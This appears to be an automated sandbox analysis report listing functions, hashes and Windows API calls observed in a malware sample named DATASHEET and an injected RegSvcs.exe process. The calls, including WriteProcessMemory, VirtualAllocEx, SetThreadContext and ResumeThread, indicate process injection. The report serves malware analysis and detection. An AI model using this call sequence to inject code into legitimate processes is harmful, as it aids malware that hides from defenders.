Instruction ID: 9f605726a95b39e649e5c30335e42da5f631d0f4291075bf41e39a9a9ac38f13
Opcode Fuzzy Hash: 8e5abb33b4723688862ce68c1f07965afc042eb9c72e4f3fac8c3941e6040a15
Instruction Fuzzy Hash: EA2157B2D003499FDB10CFA9C9857EEBBF0BF48310F14846AE959A7240C778A945CBA4

Function 05ECC7C8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05ECC858

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0387fc1e0242c0994045499cb2ff37fa932f930f7e35d2d82b9f952a2b109aaa
Instruction ID: 2a09183fb9b11065bc3c19a89bab09ce4df666ef640a9e6ea6ec072ec43cc68d
Opcode Fuzzy Hash: 0387fc1e0242c0994045499cb2ff37fa932f930f7e35d2d82b9f952a2b109aaa
Instruction Fuzzy Hash: A1215AB19003099FDB10CFA9C985BDEBBF5FF48314F108429E559A7240C778A945CBA4

Function 05ECC1F3 Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05ECC276

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 219db60edac0f38dbca970bac70efce10fd87fde761ddd5d59205c617cc455d0
Instruction ID: 22566ee1bf20b732117a055b540ce15c25d3fbe99eea32d0c9e99ab392b10f0f
Opcode Fuzzy Hash: 219db60edac0f38dbca970bac70efce10fd87fde761ddd5d59205c617cc455d0
Instruction Fuzzy Hash: 762137B1D003098FDB14DFAAC5857EEBFF4EB88324F14842AD459A7241C778A985CFA4

Function 05ECC1F8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05ECC276

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0a44dfcdb149cbdbc2263e3915a9e3256a08457dc26e7f935592a386bdf848d4
Instruction ID: 7cfeb2e0dc379562bdafb05ed1ee66ce76e25e0b966bb6a2df9bfd8bfdf27b02
Opcode Fuzzy Hash: 0a44dfcdb149cbdbc2263e3915a9e3256a08457dc26e7f935592a386bdf848d4
Instruction Fuzzy Hash: F92137B1D003098FDB14DFAAC5857EEBBF4EB88324F14842AD459A7240C7789985CFA4

Function 05ECC8B8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05ECC938

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 40ddd577487bf5f87cfd8874d2582b4894ea0958d7d4ef47052985607c238d3d
Instruction ID: cc47ad49261bff39a9dbd45ef7aab2df992335eba71d1a63365095533094216e
Opcode Fuzzy Hash: 40ddd577487bf5f87cfd8874d2582b4894ea0958d7d4ef47052985607c238d3d
Instruction Fuzzy Hash: 9C2139B18003599FCB10DFAAC945ADEFBF5FF48324F14842EE559A7250C7349945CBA4

Function 02B2D600 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02B2D68F

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1fc7fdee9d8edfa998e36501aed69e791862ddc9a57ddeb7a718b6d86fc538f9
Instruction ID: 6c4e075939ae85a659f431749c87d7545626b7849dd5f8bf793069d082b27c31
Opcode Fuzzy Hash: 1fc7fdee9d8edfa998e36501aed69e791862ddc9a57ddeb7a718b6d86fc538f9
Instruction Fuzzy Hash: 3D21E4B59003199FDB10CFA9D584ADEBBF4FB48324F14845AE958A7310D378A954CF64

Function 02B2D608 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02B2D68F

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c1371f8457d78700738bee2c673e098b5e941fc5b3179681cb8c54706996dae7
Instruction ID: 3d9d357c8cdbde1cac6d2d1578b92f4bb836ea6c94acd91dc8a0691aff94e0e7
Opcode Fuzzy Hash: c1371f8457d78700738bee2c673e098b5e941fc5b3179681cb8c54706996dae7
Instruction Fuzzy Hash: 2921E4B59003199FDB10CF9AD584ADEBBF4EB48324F14845AE958A7310D374A954CFA4

Function 05ECBD09 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 05ECBD72

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ce5c2ee3ac9e6ce4e67e0a044c012bf95d0ec97abf1d56bcf91a335ef57442a3
Instruction ID: 60a59e37c27fd4a5cbe86411df3923cf333b9f47c7c0ec79fb55cca1cef28e98
Opcode Fuzzy Hash: ce5c2ee3ac9e6ce4e67e0a044c012bf95d0ec97abf1d56bcf91a335ef57442a3
Instruction Fuzzy Hash: 4F1167B19043888FDB24DFAAC54979EFFF4EF88324F24849EC499A7250C7399545CB94

Function 05ECC700 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05ECC776

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cedb8788d0225604fc21647850ae5b8ebb7c83c9965789c6aa716f7a45a4e106
Instruction ID: 78b25a2ba935feb315ea27dd1fb75bc43b6b2f141b5fd1e5142ff00b567b82d1
Opcode Fuzzy Hash: cedb8788d0225604fc21647850ae5b8ebb7c83c9965789c6aa716f7a45a4e106
Instruction Fuzzy Hash: 361164B2800248CFCB10CFA9C945BEEBFF5AF48324F24841AD559A7250C739A940CFA0

Function 05ECC708 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05ECC776

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 89661a047d5d32fc6156352ac22a7a7ae972c72fbf13cf58ef382438257a601a
Instruction ID: 69469ea21c8d8e4e76a8fe75db99ad540b1a54a3b185adef66171b4187d826ae
Opcode Fuzzy Hash: 89661a047d5d32fc6156352ac22a7a7ae972c72fbf13cf58ef382438257a601a
Instruction Fuzzy Hash: 281167B2800248CFCB10DFAAC844BDEBFF5EF88324F248419E559A7250C735A940CFA4

Function 05ECBD10 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 05ECBD72

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 336b5b2eb992a8558264529684bb20bc637ac60072116b8e9bdc057243116aa4
Instruction ID: af7a559e86685ea86dded1e9d98e95fbc8a7fe73fc291bdd904fb8b9ac05e42f
Opcode Fuzzy Hash: 336b5b2eb992a8558264529684bb20bc637ac60072116b8e9bdc057243116aa4
Instruction Fuzzy Hash: D61128B19003488BDB20DFAAC4457DEFFF4AB88324F248459D459A7250C779A545CF94

Function 02B2B320 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02B2B386

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 80623b86c8279545afcb34fafc9b87e209c1dad04b9ff2e4c978dfcfe1e632b3
Instruction ID: a28c9f85391c69e84a48d57887a949911414b9c797178a0a86eea1a2ff48e2f3
Opcode Fuzzy Hash: 80623b86c8279545afcb34fafc9b87e209c1dad04b9ff2e4c978dfcfe1e632b3
Instruction Fuzzy Hash: B2110FB6C003598FCB10CF9AC544BDEFBF4EB88228F14846AD458A7210C375A545CFA5

Function 07DB11E0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07DB1245

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 370b081dcecf7f6da39ce80b4d2142b58c465e8767f0876c374ec1701e072dd8
Instruction ID: a0294d5ee84d29f10a377fbf142a18d226b8db53ff6c7e35b7b84ae656b49e38
Opcode Fuzzy Hash: 370b081dcecf7f6da39ce80b4d2142b58c465e8767f0876c374ec1701e072dd8
Instruction Fuzzy Hash: 5D1103B5800349DFDB20DF9AC485BDEFBF4EB48324F14845AD559A7200C375A984CFA5

Function 07DB11E8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07DB1245

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c9e38569c92f8193beb43289cb0db1ea98b1726be36157df1fb3e0e70273db86
Instruction ID: 8811d33e52436814de3ff5cfbacc8bcec0b425da6175283c87e2e66736e53e81
Opcode Fuzzy Hash: c9e38569c92f8193beb43289cb0db1ea98b1726be36157df1fb3e0e70273db86
Instruction Fuzzy Hash: 641103B5800349DFCB20CF9AC485BDEFBF8EB48324F10845AD558A7200C375A544CFA5

Function 00F7D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777278033.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce37209d3b7c69d7a60bbefedd8c74a379a8d4eabc1b512822bea769bfb6fa6
Instruction ID: e5297f2c1a23e6cf7c9081ffe3d2553526b165c5e1e39555b204db308b9973d3
Opcode Fuzzy Hash: 4ce37209d3b7c69d7a60bbefedd8c74a379a8d4eabc1b512822bea769bfb6fa6
Instruction Fuzzy Hash: 3421D371A04204DFDB05DF14D980B26BBB5FF84324F64C56AD94D4B256C336D846DA62

Function 00F7D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777278033.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925d1a98d7f6f12aa257b9c1da72de3276da837a059fcbad23aa2e14cb523b86
Instruction ID: 3f697da5f892a4d06e000d8926302160071cb9bd0712f06ec524119d3c4c7a62
Opcode Fuzzy Hash: 925d1a98d7f6f12aa257b9c1da72de3276da837a059fcbad23aa2e14cb523b86
Instruction Fuzzy Hash: 3C21F275604200DFCB14DF14D984B26BBB5EF84324F64C56ED80E4B29AC33AD847DA62

Function 00F7D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777278033.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe7accfc92fead2c2f56afe6b4b8cfcee0aa9644e8d1ae2608d17e1fca25d5a
Instruction ID: 161440c7dbc6ca4b015b47a9ab090ce4feb6728793bb0217cc39854d57c630f9
Opcode Fuzzy Hash: cbe7accfc92fead2c2f56afe6b4b8cfcee0aa9644e8d1ae2608d17e1fca25d5a
Instruction Fuzzy Hash: 21214F755093808FDB12CF24D994715BF71EF46214F28C5EBD8498B6A7C33A980ADB62

Function 00F7D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777278033.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 3f7cc032fe7f5cfd72fc989b2aff86de77dbc6f701e9fda372ae8545ac0ea0b0
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: C311A975904280DFCB06CF10C9C4B15BBB1FB84324F28C6AAD8494B296C33AD81ADB62

Function 00F6D759 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777214184.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f6d000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64d6ddbc7de943f42328de45b525fdbb918f9d2156ccc457823edfeaa56f314
Instruction ID: 109d500f4a9216a8a6c5b3804ae6e4e86d5aea4f584b39b6c2efd2afdc8f41ba
Opcode Fuzzy Hash: a64d6ddbc7de943f42328de45b525fdbb918f9d2156ccc457823edfeaa56f314
Instruction Fuzzy Hash: FF01DB71A093449EE7104A26DD84767FFE8EF51734F1CC56AED094E286C379D840D6B2

Function 00F6D758 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777214184.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f6d000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 216c18529319737359d57203f35c8b4aadad4eb147859d185d05306f2c2f4ecf
Instruction ID: fbe64b14f573213d0238d3ad22cad32e59ceb0519f64b0c45217e2d1b707a8ec
Opcode Fuzzy Hash: 216c18529319737359d57203f35c8b4aadad4eb147859d185d05306f2c2f4ecf
Instruction Fuzzy Hash: 3EF062719093449EE7108E16DC84B66FFA8EF51734F18C45AED084E286C3799844DAB1

Non-executed Functions

Function 07DB35D0 Relevance: 2.8, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

PH^q, xrefs: 07DB3893
PH^q, xrefs: 07DB37BB

Memory Dump Source

Source File: 00000000.00000002.1790232761.0000000007DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7db0000_DATASHEET.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: cccd44e17172ad83980f1ea25889636d9542c63fce2061c76d9121c6fbc9e58b
Instruction ID: e839203b2a9a24395d0d434c74744078dd6d7784872679a5f1d25924101c52ec
Opcode Fuzzy Hash: cccd44e17172ad83980f1ea25889636d9542c63fce2061c76d9121c6fbc9e58b
Instruction Fuzzy Hash: 82D1C0B4A00209CFDB18CF69C598AE9B7F1EF4D711F2580A9E406AB371DB31AD44DB60

Function 05ECA620 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 448b5e61d3ffa4469f323a4e906408811d1f93a34a58e661ca4995d544816f7a
Instruction ID: 9f382b4a7a3865e57e16806f112cedb2ea9a894defc382518ba8a262392ddfb5
Opcode Fuzzy Hash: 448b5e61d3ffa4469f323a4e906408811d1f93a34a58e661ca4995d544816f7a
Instruction Fuzzy Hash: 95E13D74E001198FDB14DFA9C5809AEFBB2FF89304F2491A9E455AB356DB30AD42CF60

Function 05ECA1E8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 964506bc3edfc77d40aeea7f8d1cabd67be3b63432d087e4ed90538253197674
Instruction ID: b1341b993a90dc2308f51e8f6218c04d547db518ce27b16e5e2f2a20156313c9
Opcode Fuzzy Hash: 964506bc3edfc77d40aeea7f8d1cabd67be3b63432d087e4ed90538253197674
Instruction Fuzzy Hash: 85E12C74E001199FCB14DFA9C5809AEFBB2FF49305F249169E455AB355DB30AD82CF60

Function 05ECC2D0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8840dcb60a5a70576443b54165054b595bf674edbec40ec5877d036dca2c8aa8
Instruction ID: 3637381f7b0d042bb18941f1a7d52dba05ffb581272e71af29df5c4b90e29384
Opcode Fuzzy Hash: 8840dcb60a5a70576443b54165054b595bf674edbec40ec5877d036dca2c8aa8
Instruction Fuzzy Hash: B9E12D74E001198FDB14DFA9C6809AEFBB2FF89305F249199E459AB355DB30AD42CF60

Function 05ECBDC0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0636e5bc054d69ff1bf6bfa7f6b7770099c141e9e224c8e2c8c7b4a984de9d8
Instruction ID: 508b306cdbf646d2241d25a10b517b0b537b17bf56017c3ec3c20a33c2386763
Opcode Fuzzy Hash: d0636e5bc054d69ff1bf6bfa7f6b7770099c141e9e224c8e2c8c7b4a984de9d8
Instruction Fuzzy Hash: DDE11C74E002198FDB14DFA9C5809AEFBB2FF49305F249169E459AB356DB30AD42CF60

Function 05EC9DB0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a6792ad7014130166b6123d32bd8fd07910ac54f6ed9916316edc625c6909a
Instruction ID: 35a56b9dba6058cfca904c801619f64683822a5966a02e5f4df88767eb9cb052
Opcode Fuzzy Hash: e0a6792ad7014130166b6123d32bd8fd07910ac54f6ed9916316edc625c6909a
Instruction Fuzzy Hash: D2E12974E002198FCB14DFA9C5809AEFBB2FF89345F249169E455AB356DB30AD42CF60

Function 05EC16C1 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600d023d58a2297dae3a0f5d422701d3a987921a89d7f59c9a01c8c7c97f4258
Instruction ID: 6c33a32556b041b1bbccce7e015fbf83b9f6907cf17da440c2fda014944038cf
Opcode Fuzzy Hash: 600d023d58a2297dae3a0f5d422701d3a987921a89d7f59c9a01c8c7c97f4258
Instruction Fuzzy Hash: 91E11631910B5A8ECB10EB64D990BD9B7B1FF95304F50C79AE00977225EB706EC9CB82

Function 05EC16F8 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a1b25772c15457e81ef0b2c1e16a5b4393aef801c6e0d3db0e02272b031bf4
Instruction ID: 2d57b2857acf098874d5f62e0eec233a340e7f394abd5badd74a42b13686ff0f
Opcode Fuzzy Hash: 69a1b25772c15457e81ef0b2c1e16a5b4393aef801c6e0d3db0e02272b031bf4
Instruction Fuzzy Hash: 0ED1E435920A5A9ACB00EB64D991BDDB771FF95300F50C79AE00977225EB706EC9CB81

Function 02B2DF64 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1778135065.0000000002B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b20000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0585a030aef7364facd2f934a7d4380be871a370f73e3d22bc21f41f9ad6f6
Instruction ID: aa1685a4a293c7a01fd2ca8045e8f0d86134460b5668fbd7abdf0e8c6f353d7b
Opcode Fuzzy Hash: 7e0585a030aef7364facd2f934a7d4380be871a370f73e3d22bc21f41f9ad6f6
Instruction Fuzzy Hash: 7CA14E32A003168FCF15DFB5C4845AEB7B3FF84304B1545AAE809AB265DB75E95ACF80

Function 05ECA610 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786761579.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_DATASHEET.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29fd87ee68030ee52059f93040f1f5f5653c2683386e432512402dc152e6a5e3
Instruction ID: 1577e9f56be46ca0ec7bcb13c5034756dfd3cf782065156d8444739315dc698c
Opcode Fuzzy Hash: 29fd87ee68030ee52059f93040f1f5f5653c2683386e432512402dc152e6a5e3
Instruction Fuzzy Hash: 3E514A71E042198FDB14CFA9C6805AEFBB2BF89304F2491A9D458AB356DB309D42CF61

Analysis Process: RegSvcs.exePID: 7808, Parent PID: 7336COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 06A930D0 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06A937CF
$^q, xrefs: 06A937B2
$^q, xrefs: 06A937A6
$^q, xrefs: 06A937FF
$^q, xrefs: 06A937DB
$^q, xrefs: 06A937F3

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 677e5ee80da7d7c787073b69e3f50a50282d1b33cf7a0b5bef78c26ed6549177
Instruction ID: 11a7710732ce7ac0c39044efb5cee185f2e703dbfa2d0dab5309fdc4ccb2d03b
Opcode Fuzzy Hash: 677e5ee80da7d7c787073b69e3f50a50282d1b33cf7a0b5bef78c26ed6549177
Instruction Fuzzy Hash: 87321F31E1061ACFCF14EF75C89459DB7B6BFD9300F20C6A9D409AB264EB70A985CB91

Function 06A97E00 Relevance: 3.0, Strings: 2, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06A98163
$^q, xrefs: 06A9816F

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 184eb70c51eaa8c0ec58cbdbd394fb70480e000db4389963bf26693a3dabe153
Instruction ID: 72cffe8888357c9777def65c1482d233a3277d2884da98a4d0e2b91404c3f3d0
Opcode Fuzzy Hash: 184eb70c51eaa8c0ec58cbdbd394fb70480e000db4389963bf26693a3dabe153
Instruction Fuzzy Hash: 6A028D30B002098FDF54EF65D594AAEB7E2FF85304F248929D4099B394DB35EC46CBA1

Function 06A95618 Relevance: 1.8, Strings: 1, Instructions: 596
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06A95963

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: cb5cda287467abc568434fa64e698aec2ba80d3018d8669c3fcfa29e3e11638d
Instruction ID: 9443e92cef10dd184366531a0b33562fa58585410f2de65f3ed50a6358c92dd5
Opcode Fuzzy Hash: cb5cda287467abc568434fa64e698aec2ba80d3018d8669c3fcfa29e3e11638d
Instruction Fuzzy Hash: 0D22CF35E002098FDF65EFA4C4856AEBBF2EF85320F248469D449AF354DA31DD46CBA1

Function 06A9B2A2 Relevance: .6, Instructions: 564COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ebbe6e649c7ae7323a5e096e900f1f0a55682e0c2d8f658b924c308e64edb0a
Instruction ID: 52d0600f81921551c814a7845b3687ef6502a0aac883e19653ff308ce769d811
Opcode Fuzzy Hash: 0ebbe6e649c7ae7323a5e096e900f1f0a55682e0c2d8f658b924c308e64edb0a
Instruction Fuzzy Hash: 6C225174E101098FDF64EB69E5947AEB7E2EB85310F24882AE409EF351DA35DC81CB71

Function 06A9AD48 Relevance: 10.4, Strings: 8, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph
